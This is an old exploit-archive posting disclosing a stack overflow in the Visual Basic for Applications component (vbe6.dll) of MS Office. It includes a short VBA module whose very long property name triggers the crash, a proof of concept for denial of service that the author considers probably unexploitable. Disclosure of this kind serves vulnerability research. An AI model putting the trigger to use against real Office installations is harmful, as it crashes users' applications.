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Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS
Author:佚名  ComeFrom:不详  Time:2008-6-18 13:00:54

little big

Stack overflow in vbe6.dll, (used by all versions of MS Office)The overflow occurs in Visual Basic for Application. Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :PMarsu <Marsupilamipowa@hotmail.fr>Module1.bas:Attribute VB_Name = "Module1"Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant End Property# exp.zcuu.com [2008-03-30]
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